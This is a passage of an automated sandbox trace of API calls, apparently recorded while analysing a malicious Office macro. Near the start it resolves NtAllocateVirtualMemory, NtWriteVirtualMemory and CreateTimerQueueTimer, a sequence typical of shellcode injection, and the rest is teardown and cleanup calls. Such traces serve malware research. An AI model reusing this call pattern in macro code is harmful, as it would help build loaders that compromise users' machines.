lpProcName="NtAllocateVirtualMemory") returned 0x77591490 [0018.307] GetLastError () returned 0x0 [0018.307] VarIdiv (in: pvarLeft=0x7461d78, pvarRight=0x7461e98, pvarResult=0x7461e40 | out: pvarResult=0x7461e40) returned 0x0 [0018.307] VarDiv (in: pvarLeft=0x7461d48, pvarRight=0x7461e98, pvarResult=0x7461e40 | out: pvarResult=0x7461e40) returned 0x0 [0018.307] VarMul (in: pvarLeft=0x7461c60, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.307] VarMul (in: pvarLeft=0x7461c60, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.307] VarSub (in: pvarLeft=0x7461ab0, pvarRight=0x7461a68, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.307] VarAdd (in: pvarLeft=0x7461a38, pvarRight=0x7461ab0, pvarResult=0x7461a80 | out: pvarResult=0x7461a80) returned 0x0 [0018.307] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.308] _stricmp (_Str1="ntdll.dll ", _Str2="VBE6.DLL") returned -8 [0018.308] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.308] GetProcAddress (hModule=0x77540000, lpProcName="NtWriteVirtualMemory") returned 0x775916b0 [0018.308] GetLastError () returned 0x0 [0018.309] VarAdd (in: pvarLeft=0x7462470, pvarRight=0x7461fd0, pvarResult=0x7462458 | out: pvarResult=0x7462458) returned 0x0 [0018.309] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fitr") returned 0x10f15a [0018.309] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x5, _Src="fitr" | out: _Dst="fitr") returned 0x0 [0018.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=5, lpWideCharStr=0x263600, cchWideChar=5 | out: lpWideCharStr="fitr") returned 5 [0018.309] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.309] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="fitr", lHashVal=0x10f15a, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.309] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.309] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="fitr", lHashVal=0x10f15a, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.309] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.309] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="fitr", lHashVal=0x10f15a, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.309] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.309] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="fitr", lHashVal=0x10f15a, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x7479720) returned 0x5 [0018.309] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_fitr") returned 0x305687 [0018.309] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.309] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.309] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dan2") returned 0x103a19 [0018.309] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x5, _Src="dan2" | out: _Dst="dan2") returned 0x0 [0018.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=5, lpWideCharStr=0x263600, cchWideChar=5 | out: lpWideCharStr="dan2") returned 5 [0018.309] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.309] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="dan2", lHashVal=0x103a19, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.309] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.309] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="dan2", lHashVal=0x103a19, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.309] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.309] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="dan2", lHashVal=0x103a19, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.309] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.309] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.309] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="dan2", lHashVal=0x103a19, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.310] IUnknown:Release (This=0x7479720) returned 0x5 [0018.310] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_dan2") returned 0x309f85 [0018.310] IUnknown:AddRef (This=0x72d9b00) returned 0x18 [0018.310] IUnknown:Release (This=0x72d9b00) returned 0x17 [0018.310] VarMul (in: pvarLeft=0x7461ed8, pvarRight=0x7461e10, pvarResult=0x7461de0 | out: pvarResult=0x7461de0) returned 0x0 [0018.310] VarMul (in: pvarLeft=0x7461ed8, pvarRight=0x7461e10, pvarResult=0x7461de0 | out: pvarResult=0x7461de0) returned 0x0 [0018.310] VarSub (in: pvarLeft=0x7461e10, pvarRight=0x7461dc8, pvarResult=0x7461de0 | out: pvarResult=0x7461de0) returned 0x0 [0018.310] VarAdd (in: pvarLeft=0x7461d98, pvarRight=0x7461e10, pvarResult=0x7461de0 | out: pvarResult=0x7461de0) returned 0x0 [0018.310] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.310] _stricmp (_Str1="Kernel32", _Str2="VBE6.DLL") returned -11 [0018.310] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.311] GetProcAddress (hModule=0x77320000, lpProcName="CreateTimerQueueTimer") returned 0x77328ad0 [0018.311] GetLastError () returned 0x0 [0018.311] IUnknown:Release (This=0x731f938) returned 0x0 [0018.311] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.311] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x6f80538, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.311] lstrlenA (lpString="Normal") returned 6 [0018.352] PeekMessageA (in: lpMsg=0x2648e0, hWnd=0x0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x0 | out: lpMsg=0x2648e0) returned 0 [0018.352] PostMessageA (hWnd=0x10212, Msg=0x1045, wParam=0x0, lParam=0x0) returned 1 [0018.373] IsWindowVisible (hWnd=0x1022e) returned 0 [0019.903] GetCapture () returned 0x0 [0019.903] GetCursorPos (in: lpPoint=0x26d4c0 | out: lpPoint=0x26d4c0*(x=463, y=330)) returned 1 [0019.903] WindowFromPoint (Point=0x14a000001cf) returned 0x20206 [0019.903] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0019.903] SendMessageA (hWnd=0x20206, Msg=0x84, wParam=0x0, lParam=0x14a01cf) returned 0x1 [0019.903] SendMessageA (hWnd=0x20206, Msg=0x20, wParam=0x20206, lParam=0x2000001) returned 0x0 [0023.410] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0026.114] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x46, wParam=0x0, lParam=0x269060) returned 0x0 [0026.120] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x46, wParam=0x0, lParam=0x269060) returned 0x0 [0026.177] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x46, wParam=0x0, lParam=0x268810) returned 0x0 [0109.177] CoDisconnectObject (pUnk=0x74c71e0, dwReserved=0x0) returned 0x0 [0109.177] GetCurrentThreadId () returned 0x938 [0109.177] GetCapture () returned 0x0 [0109.177] ShowWindow (hWnd=0x2025e, nCmdShow=0) returned 0 [0109.177] strcpy_s (in: _Dst=0x2648f0, _DstSize=0x114, _Src="VBInternal_Destroy:" | out: _Dst="VBInternal_Destroy:") returned 0x0 [0109.177] strcat_s (in: _Destination="VBInternal_Destroy:", _SizeInBytes=0x114, _Source="modernization" | out: _Destination="VBInternal_Destroy:modernization") returned 0x0 [0109.177] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7178*(Data1=0x113, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2646f0 | out: ppvObject=0x2646f0*=0x4f5b590) returned 0x0 [0109.177] IOleInPlaceObject:InPlaceDeactivate (This=0x4f5b590) returned 0x0 [0109.178] IsWindow (hWnd=0x20260) returned 1 [0109.178] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x210, wParam=0x2, lParam=0x20260) returned 0x0 [0109.178] IUnknown:Release (This=0x4f5b590) [0109.178] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7138*(Data1=0x112, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2646c8 | out: ppvObject=0x2646c8*=0x6f82f00) returned 0x0 [0109.178] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7198*(Data1=0x10d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264730 | out: ppvObject=0x264730*=0x4f5b518) returned 0x0 [0109.178] IViewObject:SetAdvise (This=0x4f5b518, aspects=0x1, advf=0x0, pAdvSink=0x0) returned 0x0 [0109.178] IUnknown:Release (This=0x4f5b518) [0109.178] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7138*(Data1=0x112, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264720 | out: ppvObject=0x264720*=0x6f82f00) returned 0x0 [0109.179] IUnknown:Release (This=0x4f5b500) returned 0x0 [0109.179] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x1081, wParam=0x0, lParam=0x0) returned 0x0 [0109.179] GetWindow (hWnd=0x2025e, uCmd=0x5) returned 0x0 [0109.179] DestroyWindow (hWnd=0x2025e) returned 1 [0109.179] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0109.179] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0109.179] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0109.179] GetFocus () returned 0x20204 [0109.180] PeekMessageA (in: lpMsg=0x264a40, hWnd=0x0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x0 | out: lpMsg=0x264a40) returned 0 [0109.180] PostMessageA (hWnd=0x10212, Msg=0x1045, wParam=0x0, lParam=0x0) returned 1 [0109.181] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.181] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.181] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.182] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2a4) returned 0x7fef41abd18 [0109.182] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.182] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.182] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.183] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x21e) returned 0x7fef3fe3834 [0109.183] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.183] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.183] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.183] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x26b) returned 0x7fef3fe4120 [0109.183] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.183] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.183] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.184] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x284) returned 0x7fef3f4bc14 [0109.184] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.184] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.184] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.184] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2cd) returned 0x7fef41994dc [0109.184] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.184] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.184] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.185] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x251) returned 0x7fef4157298 [0109.185] GetCurrentThreadId () returned 0x938 [0109.185] GetCurrentThreadId () returned 0x938 [0109.185] GetCurrentThreadId () returned 0x938 [0109.185] GetCurrentThreadId () returned 0x938 [0109.185] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.185] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.185] lstrlenA (lpString="Normal") returned 6 [0109.186] GetCurrentThreadId () returned 0x938 [0109.186] CExposedDocFile::Release () returned 0x4 [0109.186] CExposedStream::Release () returned 0x0 [0109.186] CExposedDocFile::Release () returned 0x3 [0109.186] CExposedStream::Release () returned 0x0 [0109.186] CExposedDocFile::Release () returned 0x2 [0109.186] CExposedStream::Seek () returned 0x0 [0109.186] CExposedStream::Release () returned 0x0 [0109.186] CExposedDocFile::Release () returned 0x1 [0109.186] CExposedStream::Seek () returned 0x0 [0109.186] CExposedStream::Release () returned 0x0 [0109.186] GetCurrentThreadId () returned 0x938 [0109.186] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.186] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.186] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.187] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2a4) returned 0x7fef41abd18 [0109.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.187] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.187] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x21e) returned 0x7fef3fe3834 [0109.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.187] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.187] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.187] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x26b) returned 0x7fef3fe4120 [0109.188] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.188] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.188] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.188] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x284) returned 0x7fef3f4bc14 [0109.188] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.188] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.188] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.188] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2cd) returned 0x7fef41994dc [0109.188] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.189] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0109.189] SetErrorMode (uMode=0x8001) returned 0x8001 [0109.189] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x251) returned 0x7fef4157298 [0109.189] GetCurrentThreadId () returned 0x938 [0109.189] GetCurrentThreadId () returned 0x938 [0109.189] GetCurrentThreadId () returned 0x938 [0109.189] GetCurrentThreadId () returned 0x938 [0109.190] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0109.190] SysStringByteLen (bstr="潎浲污") returned 0x6 [0109.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f7fdb8, cbMultiByte=7, lpWideCharStr=0x76c0c78, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0109.190] lstrlenA (lpString="Normal") returned 6 [0109.190] GetCurrentThreadId () returned 0x938 [0109.190] SetCursor (hCursor=0x10007) returned 0x10003 [0109.190] CExposedDocFile::Release () returned 0x1 [0109.190] GetCurrentThreadId () returned 0x938 [0109.190] CExposedDocFile::Release () returned 0x0 [0109.190] CExposedDocFile::Release () returned 0x1 [0109.190] CExposedDocFile::Release () returned 0x0 [0109.191] CExposedDocFile::Release () returned 0x0 [0109.191] IUnknown:Release (This=0x72e4078) returned 0x0 [0109.191] IUnknown:Release (This=0x72e4060) returned 0x0 [0109.196] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Forms.Form") returned 0x101727 [0109.196] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Forms.Form") returned 0x101727 [0109.196] lstrlenA (lpString="Thunder") returned 7 [0109.196] lstrcpyA (in: lpString1=0x2651d0, lpString2="Thunder" | out: lpString1="Thunder") returned="Thunder" [0109.196] UserForm:IClassFactory:LockServer (This=0x7fef3e68338, fLock=0) returned 0x0 [0109.196] UserForm:IUnknown:Release (This=0x7fef3e68338) returned 0x1 [0109.196] GetCurrentThreadId () returned 0x938 [0109.196] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0109.196] GetCurrentThreadId () returned 0x938 [0109.196] GetCurrentThreadId () returned 0x938 [0109.196] GetCurrentThreadId () returned 0x938 [0109.197] GetCurrentThreadId () returned 0x938 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x4, lParam=0x7507550) returned 0x7507910 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110c, wParam=0x0, lParam=0x2652b0) returned 0x1 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x4, lParam=0x7507910) returned 0x7507970 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110c, wParam=0x0, lParam=0x2652b0) returned 0x1 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x1101, wParam=0x0, lParam=0x7507970) returned 0x1 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x4, lParam=0x7507910) returned 0x0 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x1101, wParam=0x0, lParam=0x7507910) returned 0x1 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x4, lParam=0x7507550) returned 0x0 [0109.197] SendMessageA (hWnd=0x10236, Msg=0x1101, wParam=0x0, lParam=0x7507550) returned 0x1 [0109.198] SendMessageA (hWnd=0x10236, Msg=0x1105, wParam=0x0, lParam=0x0) returned 0x3 [0109.198] IUnknown:Release (This=0x6fae3b0) returned 0x6 [0109.198] IUnknown:Release (This=0x75a7038) returned 0x1 [0109.198] IUnknown:Release (This=0x759e768) returned 0x3 [0109.198] IUnknown:Release (This=0x75a70e8) returned 0x3 [0109.198] IUnknown:Release (This=0x748c6b0) returned 0x1 [0109.198] IUnknown:Release (This=0x75a72a0) returned 0x0 [0109.198] IUnknown:Release (This=0x75a70e8) returned 0x2 [0109.198] IUnknown:Release (This=0x748c658) returned 0x2 [0109.198] IUnknown:Release (This=0x748d050) returned 0x0 [0109.198] IUnknown:Release (This=0x748ce40) returned 0x1 [0109.198] IUnknown:Release (This=0x748cef0) returned 0x1 [0109.198] IUnknown:Release (This=0x748cde8) returned 0x1 [0109.198] IUnknown:Release (This=0x748cc30) returned 0x3 [0109.198] IUnknown:Release (This=0x748c868) returned 0x0 [0109.198] IUnknown:Release (This=0x748cc30) returned 0x2 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x6f2ab98, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x761231c, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x76123dc, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7504ad4, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7611e80, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7503d8c, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x75045e8, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x75046ec, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x75047dc, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x75048bc, ImageBase=0x265130, HistoryTable=0x265140 | out: ImageBase=0x265130, HistoryTable=0x265140) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480e38, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x7480e98 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x7480e98) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480b18, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x7480be0 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x7480be0) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480f14, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x7480f5c [0109.199] RtlDeleteFunctionTable (FunctionTable=0x7480f5c) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480514, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x748056c [0109.199] RtlDeleteFunctionTable (FunctionTable=0x748056c) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480918, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x74809c0 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x74809c0) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480fd4, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x748101c [0109.199] RtlDeleteFunctionTable (FunctionTable=0x748101c) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480004, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x7480054 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x7480054) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480644, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x0 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x747ff18, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x747ff90 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x747ff90) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x7480718, ImageBase=0x2650e0, HistoryTable=0x2650f0 | out: ImageBase=0x2650e0, HistoryTable=0x2650f0) returned 0x74807d0 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x74807d0) returned 1 [0109.199] RtlLookupFunctionEntry (in: ControlPc=0x750436c, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x75043c0 [0109.199] RtlDeleteFunctionTable (FunctionTable=0x75043c0) returned 1 [0109.200] RtlLookupFunctionEntry (in: ControlPc=0x76120cc, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x7612130 [0109.200] RtlDeleteFunctionTable (FunctionTable=0x7612130) returned 1 [0109.200] RtlLookupFunctionEntry (in: ControlPc=0x7612170, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x76121ec [0109.200] RtlDeleteFunctionTable (FunctionTable=0x76121ec) returned 1 [0109.200] RtlLookupFunctionEntry (in: ControlPc=0x7611ccc, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x7611d28 [0109.200] RtlDeleteFunctionTable (FunctionTable=0x7611d28) returned 1 [0109.200] RtlLookupFunctionEntry (in: ControlPc=0x7611c2c, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x7611c88 [0109.200] RtlDeleteFunctionTable (FunctionTable=0x7611c88) returned 1 [0109.200] RtlLookupFunctionEntry (in: ControlPc=0x7611d6c, ImageBase=0x265110, HistoryTable=0x265120 | out: ImageBase=0x265110, HistoryTable=0x265120) returned 0x7611dc8 [0109.200] RtlDeleteFunctionTable (FunctionTable=0x7611dc8) returned 1 [0109.201] VirtualFree (lpAddress=0x8320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.201] VirtualFree (lpAddress=0xbee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.202] VirtualFree (lpAddress=0xbf00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.202] VirtualFree (lpAddress=0xbf10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.203] IUnknown:Release (This=0x6fae3b0) returned 0x4 [0109.203] IUnknown:Release (This=0x748ce40) returned 0x0 [0109.203] IUnknown:Release (This=0x748cc30) returned 0x1 [0109.203] IUnknown:Release (This=0x75a70e8) returned 0x0 [0109.203] IUnknown:Release (This=0x759e768) returned 0x1 [0109.203] IUnknown:Release (This=0x748c6b0) returned 0x0 [0109.203] IUnknown:Release (This=0x748c658) returned 0x1 [0109.203] VirtualFree (lpAddress=0x52b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.203] VirtualFree (lpAddress=0xbf20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.204] VirtualFree (lpAddress=0xbf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.204] VirtualFree (lpAddress=0xbf40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.205] VirtualFree (lpAddress=0xbf50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.205] VirtualFree (lpAddress=0xbf60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.206] VirtualFree (lpAddress=0xd070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0109.206] IUnknown:Release (This=0x748cde8) returned 0x0 [0109.206] IUnknown:Release (This=0x748cef0) returned 0x0 [0109.206] IUnknown:Release (This=0x748c658) returned 0x0 [0109.206] IUnknown:Release (This=0x748cc30) returned 0x0 [0109.206] IUnknown:Release 